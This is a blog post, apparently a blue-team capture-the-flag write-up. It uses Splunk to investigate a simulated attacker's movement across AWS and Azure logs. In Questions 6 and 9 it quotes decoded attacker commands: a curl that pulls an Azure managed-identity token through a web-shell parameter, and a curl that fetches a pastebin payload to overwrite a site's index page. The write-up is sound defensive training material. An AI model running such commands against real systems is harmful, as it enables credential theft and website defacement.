Search
Cloud-based Threat Detection with Splunk
4 min read

Cloud-based Threat Detection with Splunk

Raúl Vázquez González's Picture
Raúl Vázquez González in cloud-security splunk azure-security btlo

Cloud-based Threat Detection with Splunk

Solving Rotten Cloud Investigation — Blue Team Labs Online (Halloween 2025 Special Event)

Introduction

This write-up covers my investigation of the Rotten Cloud challenge from the Blue Team Labs Online Halloween 2025 special event. Using Splunk, I analyzed multi-cloud logs across AWS and Azure to trace the attacker’s movements, identify reconnaissance activity, uncover secret access attempts, and reconstruct their full cross-cloud exploitation path. Each question below reflects the exact steps I followed, the Splunk queries used, and the final findings that allowed me to solve the investigation.

Scenario: Rotten Cloud

As part of the C.R.I.S.I.S. response team, you’ve been assigned to investigate Zeta-9’s hybrid cloud environment supporting its quantum research division. Using Splunk, you must analyze cloud-based logs to determine whether the threat actor has pivoted into Zeta-9’s cloud infrastructure — and act quickly to prevent them from moving deeper into the network.

Questions and Solutions

Question 1

Analyze the AWS CloudTrail logs and identify the attacker’s IP address. Note that legitimate users were working remotely from India.

Process:
I manually investigated the values in the EventName field and looked for the source IP of the host that requested GetSecretValue.

Answer: 172.235.129.221

Question 2

The attacker performed reconnaissance on EC2 instances. What specific API call/EventName was generated during this reconnaissance activity?

Process:
Using the attacker’s previously identified IP and adding the keyword EC2, I reviewed EventName values.

index=* 172.235.129.221 EC2 | sort _time

Answer: DescribeInstances

Question 3

After gathering information about EC2 instances, the attacker attempted to find instance passwords. Identify the secretID that contained the Windows instance password.

Process:
I filtered by the attacker’s IP address and the getSecretValue event, then checked raw event data for the relevant secret ID.

index=* 172.235.129.221 getSecretValue | sort _time

Answer: zeta9/windows/admin-password

Question 4

The attacker targeted S3 buckets to download sensitive data. Determine how many unique S3 buckets were targeted and the total number of files downloaded.

Process:
I filtered using the attacker’s IP and the S3 event source:

index=* 172.235.129.221 "eventSource":"s3.amazonaws.com" | sort _time

I then manually checked requestParameters.bucketName and requestParameters.key.

Answer: 3 buckets, 5 files

Question 5

Using cross-correlation with other log sources, identify the URL of the secret web portal discovered via EC2 browsing history.

Process:
I examined the attacker’s GET requests and analyzed the CsHost field.

index=* 172.235.129.221 GET | sort _time

Answer: zeta9-research-portal.azurewebsites.net

Question 6

The attacker pivoted to another cloud environment using a vulnerability. Provide the full command used for this cross-cloud activity.

Process:
I reviewed logs associated with the Azure environment using the same CsHost identified earlier. The relevant field contained:

CsUriQuery: cmd=curl%20-H%20secret%3A4ebc6d54-f421-4321-81c4-fd9e29d28a0f%20%27http%3A//169.254.130.3%3A8081/msi/token%3Fapi-version%3D2017-09-01%26resource%3Dhttps%3A//management.azure.com/%27

After URL decoding via CyberChef:

Answer:
cmd=curl -H secret:4ebc6d54-f421–4321–81c4-fd9e29d28a0f ‘http://169.254.130.3:8081/msi/token?api-version=2017-09-01&resource=https://management.azure.com/’

Question 7

After accessing Azure, the attacker listed and retrieved data from cloud storage. Identify the name of the storage blob container that was targeted.

Process:
I filtered for Azure-related successful blob operations:

index=* 172.235.129.221 Azure success OperationName=GetBlob | sort _time

A resulting URI included:

https://zeta9researchdata.blob.core.windows.net/quantum-research-secrets/contracts/military-qc-2025.txt

Answer: quantum-research-secrets

Question 8

Determine how many files the attacker successfully downloaded from the Azure blob storage.

Process:
Using the same query as in Question 7:

index=* 172.235.129.221 Azure success OperationName=GetBlob | sort _time

This returned 6 events.

Answer: 6

Question 9

The attacker defaced the website to access restricted division systems. Provide the URL that hosted the defaced website code.

Process:
I correlated Azure logs with the attacker’s IP:

index=* 172.235.129.221 Azure | sort _time

I identified downloaded files containing private system credentials and checked subsequent events. This led to a csUriQuery field containing an encoded command:

cmd=curl%20-s%20https://pastebin.com/raw/sBEs83q3%20%7C%20base64%20-d%20%3E%20/home/site/wwwroot/public/index.html

After URL decoding:

https://pastebin.com/raw/sBEs83q3 | base64 -d > /home/site/wwwroot/public/index.html

Answer: /home/site/wwwroot/public/index.html

Conclusion

During the Rotten Cloud investigation, Splunk proved essential for correlating logs across AWS and Azure, identifying suspicious activity, reconstructing the attack path, and confirming the attacker’s movements step-by-step. By combining CloudTrail events, EC2 browsing history, storage access logs, and Azure workload telemetry, I was able to track the pivoting techniques, data exfiltration, and eventual website defacement used to compromise Zeta-9’s research systems.

You may also like

Building a Tier 1 SOC Dashboard in Splunk
9 min read

Building a Tier 1 SOC Dashboard in Splunk

Designing an Operational Monitoring Dashboard for Authentication, Endpoint, Network, and Threat Hunting Visibility

Raúl Vázquez González's Picture
Raúl Vázquez González in homelab soc-lab cybersecurity-lab splunk active-directory kerberos detection-engineering
Investigating Lateral Movement and Authentication Activity in Active Directory Using Splunk
7 min read

Investigating Lateral Movement and Authentication Activity in Active Directory Using Splunk

Correlating failed logons, Kerberos authentication events, SMB access, and blocked lateral movement attempts in a hardened Active Directory environment

Raúl Vázquez González's Picture
Raúl Vázquez González in homelab soc-lab cybersecurity-lab splunk active-directory kerberos detection-engineering
Investigating Suspicious PowerShell Activity with Splunk
8 min read

Investigating Suspicious PowerShell Activity with Splunk

Simulating common PowerShell abuse techniques and investigating endpoint telemetry in Splunk

Raúl Vázquez González's Picture
Raúl Vázquez González in homelab soc-lab cybersecurity-lab splunk powershell

Latest Posts

Building a Tier 1 SOC Dashboard in Splunk
9 min read

Building a Tier 1 SOC Dashboard in Splunk

Raúl Vázquez González's Picture
Raúl Vázquez González
Investigating Lateral Movement and Authentication Activity in Active Directory Using Splunk
7 min read

Investigating Lateral Movement and Authentication Activity in Active Directory Using Splunk

Raúl Vázquez González's Picture
Raúl Vázquez González

Explore Tags

active-directory allowlist aws azure-security blue-team bluetooth books brim btlo certification certifications chmod cloud-security compliance cyber-security-awareness cyberchef cybercrime cybersecurity cybersecurity-lab dashboards data-filtering data-protection ddos detection-engineering dfir dfir tryhackme digital-forensics elastic elastic-search elastic-stack elk ez-tools file-permissions firewall homelab incident-response infosec intrusion-detection kerberos linux-hardening linux-security log-analysis malware-analysis mitm mitre mitre-attck network-analysis network-forensics network-security networking networkminer nmap opencti osint packet-analysis pcap-analysis phishing powershell programming python ransomware regex security-audit siem snort soc soc-analyst soc-lab spl splunk sql sysmon threat-detection threat-hunting threat-intelligence tryhackme ufw virustotal volatility web-security windows-forensics wireshark xdr